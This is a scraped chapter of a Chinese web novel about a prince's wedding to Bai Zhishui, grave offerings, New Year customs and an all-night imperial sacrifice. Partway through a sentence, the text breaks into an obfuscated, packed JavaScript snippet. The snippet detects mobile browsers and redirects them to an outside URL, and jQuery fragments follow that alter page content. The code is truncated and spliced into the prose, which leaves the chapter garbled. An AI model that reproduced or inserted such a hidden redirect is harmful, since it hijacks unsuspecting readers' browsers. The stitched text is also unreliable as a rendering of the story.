默认冷灰
24号文字
方正启体

22. 大婚

作者:盛世哀歌本书字数:K更新时间:
    “自古以来世家大族都是几头下注,就看哪一族能撑到最后,只有活到最后的才配称本家。”裴明抿了口茶水,继续说道,“只是父皇见惯了亲族残杀,因此立下规矩,裴氏后人今后不得纳妾。”


    这话说得极为认真,“所以你我成婚,我这辈子只能仅你一位夫人,还希望夫人以后切莫要辜负我。”


    白芷水撑着桌子看过去,“好说,只要王爷一直保持住这份容貌,我定会常回府看看的。”


    圆桌正中央摆着一个精致的酒壶,裴明拿起一人倒了一杯,“这合卺酒喝完,你我才算是真正的夫妻。”


    白芷水接过杯子,中间的红线被拉直,裴明扶了一把才不致让另一杯酒撒了。“这酒里加了料。”


    “是,宫里备的,据说是怕新婚夫妻害羞。”


    白芷水闻了一下就一饮而尽,裴明只留下半句话卡在喉咙,没有说完,“你明知……”


    放下杯子,“这点东西对我来说起不了作用,王爷要是扛不住药效就不要喝了。”


    裴明确实不敢赌这杯子里究竟放了多少,只能浅浅尝了一口,再喝了许多水咽下去,要是真在白芷水面前失了态不知这脖子还能不能完好无损的撑到明天。


    婚服虽简化了很多,但依旧很难脱,白芷水试图回忆起白日里婢女为自己穿衣时的步骤,却发现一片空白。


    手里的带子解了许久被一双手接过,“竟还有夫人解决不了的事?”


    婚服被完整除去,白芷水总算是松了口气,接下来还有复杂的头冠,盘好的发髻,此时也不想动,只能是裴明接过这繁重的差事来。


    盘好的头发逐渐散开,裴明笑道,“因是白日里束发过久,夫人这头发都打了卷,还得梳直才是。”


    白芷水直到现在还没有明白洞房花烛为什么是四大喜事之一,明明累得要死,顺手抄起了喜床上的画册来看。


    裴明将头发梳到一半,才看到白芷水手里的册子,“夫人是喜欢这册子?”


    白芷水翻了几页觉得有些无趣,但还是赖着性子看了下去,“都是些男欢女爱,也不过如此。”


    “那夫人还看得如此认真?”


    “打发时间。”


    最后一缕发丝梳下,白芷水刚想躺下,就被裴明拦住了,“夫人今日先睡里面。”


    “为何?”


    裴明有些尴尬,“方才喝多了水,怕是要起夜。”


    白芷水往里挪了挪,“看来以后还是得备些解药,也不至让王爷如此辛苦。”


    此时王府四周挂满了红绫,贴上了囍字,众人只知道正旦这天贤王府迎娶了一位正妃,却不知是何人。


    第三十三手,黑子六之八,压;第三十四手,白子二之十,立下,做活。


    密室的武器需要定时擦拭,白芷水正对着这箱东西缓慢打理,身后传来一个声音,“夫人,想不想祭拜一下你的父母,东西我都准备好了。”


    白芷水其实对此事别无他感,只是受了生恩,还需去一下。


    “去吧。”


    白羽和纪书二人的墓在城外一处偏远地,坟茔简单墓碑上却没有厚重的灰尘,看样子有人祭拜过。


    白芷水深鞠一躬,“女儿不孝,今日才过来探望二老,母亲父亲莫怪。”


    引燃香烛纸火,周围正好传来阵阵鼓声。


    “荒郊野岭为什么会有鼓声?”


    裴明细听了一阵,道,“是太平鼓,敲给附近的神明听,这应当是进京表演社火的队伍。”


    白芷水又听到了一个新名词,“社火是何物?”


    “是陇西的一种祭祀仪式,一般在年节的时候举行,主祈福、驱疫。”


    白芷水循着声音看过去,只见山路上出现了一支身着花花绿绿衣服的队伍,打头的举着五彩灯,有几人踩着高跷画上脸谱扮演神明,还有二人一起套着狮头狮身的,舞龙的,划船的,锣鼓敲地震天响。


    “倒是挺有趣。”


    “你要是喜欢看这几日夜间都有,一直到上元节结束。”


    “走吧,回京。”


    白芷水踏过被水泅湿的地面,此时,整个王府都充斥着一股桃枝桃叶味,“这又是何故?”


    “驱邪。”


    白芷水忍不住吐槽,“到底有多少邪祟需如此严防死守?”


    “邪祟自在人心。”


    年节期间每餐都加上了五辛盘,椒柏酒。白芷水尝了一口就被呛到咳了出来,“怎么会有如此辛辣的东西?”


    裴明端过来一碗水晶奶酪,“吃这个压一下,这奶酪需先取新鲜牛乳,加入适量糖和米酒,再上锅蒸制,冷却后切块,可解辛辣。”


    看起来挺好吃的,尝了一口果不其然,甜中带着些酒味,解腻。“怪不得大家都喜欢过年节,现在看来不仅有好吃的好玩的,还能置办衣服,看各种杂耍。”


    白芷水对这些事向来都是淡淡的,今日却多了些神采。


    裴明道,“那夫人以前在山上是如何过这节的?”


    白芷水动筷的手停了下来,眼神暗了下去,“没有什么特别的,师父们在的时候只是在席间多添些酒,还是自己酿的,再说些我难以理解的话。他们走后我一个人也无需如此大费周章。”


    目光在一瞬间又恢复了神采,看向裴明,“你不是和师父们都认识,这些事问一问他们自然就知晓了,又为何还要问我?”


    裴明给空碗又添上了些酒,“夫人不知,自你下山前几月我才收到他们的传书,彼时皇兄才告诉我父皇曾留下一批智者,让我注意一下,可我屡次想获得夫人的青睐,结果都碰壁了。”


    白芷水有些不解,“倘若是你刚刚入世就碰上一个位高权重又不明说自己来意的人,你会不会避而远之?”


    “如果是夫人这样的,我高兴还来不及。”


    白芷水心道这人怎么忽然跟变了个人似的,这么贫。“那山下药铺的掌柜也是和你们一伙的?”


    “夫人这是什么话,陈掌柜的药铺可是整个元阳县独一份的金字招牌,这叫济世救民。”说罢加了一筷子荤肉到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253639|197974||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对面的盘子里,“夫人多吃些。”


    月光皎暇,为大地盖上一层白霜。天边绽放起一朵朵绚烂的烟火,街巷外似是孩童一边追逐嬉戏,一边点燃爆竹,发出噼里啪啦的响声。


    裴明举杯相对,“夫人,我们这算是相识整整一年了。”


    白芷水也觉得这一年过得跟梦一样,转瞬即逝。明明上一年这个时间自己还在山中制着药。


    就因为一封手书,告别了前十几年的生活,来到这陌生的人世间。路书上记载的东西由文字转向现实。也幸亏自己接受力强,不然又怎能知晓这荒唐的身世,以及一个莫名其妙的婚约。


    举杯回敬,“命运使然。”


    正月望日夜,祭太一神,灯火通宵不息。


    以往白芷水都不喜欢这些隆重的活动,现如今入了皇家玉牒,只能硬着头皮上。


    天子着素服,百官位其后,缓步而行。祭坛上早已摆好鹿肉,祭酒。主坛前一位覆面女子跳着祈舞,微风掀起面帘,已然是沈寒烟,琼林阁的掌柜。


    早听说其人舞技惊人,整整做了琼林阁十年的花魁,众人皆望其项背,今日见到才知传言不假。


    灯火通宵不息,则祈舞不停。白芷水暗暗想着,着这么重的舞服,在冬日里跳一整夜,这比师父罚自己通宵练剑还狠。


    毕竟师父不可能盯着自己一整夜,而着祭祀之舞可是一个拍子都不能差。


    不过白芷水这会也顾不着旁人,跪了许久,这腿脚都不像是自己的。


    乐工的奏曲丝毫不乱,祝官诵读的祭文亦郎朗有声,连绵不断;校兵的甲胄反着光,站如松柏。


    直至天明,众人才起身。白芷水此时想起还有些起不来,直到眼前伸出一只手,这才借力站起来。


    裴明目光中带着些疼惜,“夫人辛苦。”


    白芷水在众人面前也不敢露怯,只能挪着步子往前走,毕竟这种大型祭典,哪怕是皇帝失仪都会被说对天不敬。


    若是来年再出些春旱、地动、蝗灾、决堤之类的,神罚这顶帽子一旦被扣上决计摘不下来,成为万民之罪人。


    好不容易出了宫,坐上马车,白芷水才掀开衣服查看,之见膝处青紫一片,有些地方还渗出血丝。


    裴明用棉团沾了些药粉轻轻擦上去,白芷水此时也觉不出疼来,整个膝头已完全麻木。


    “王爷,你说其他人也是这样吗?”


    裴明手上动作不停,“都是些老臣,练习惯了。”


    白芷水看着缠上的一圈圈白布,“还是师父对我太好了,都没有罚我跪过,果然慈师多败徒。”


    裴明轻轻放下衣摆,“按照两位师父来说,罚跪是最没用的罚法,他们应当让你练功多些。”


    白芷水细想了一下,好像确实如此。自己看了话本子才知道,原来有的先生还会用戒尺。


    下马车的时候裴明特意先下去,放好马凳,白芷水小心提着裙子,落到地上才发觉,自己怎么也娇气起来了,看来还是得多练练功,近几日大雪,有些懈怠。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)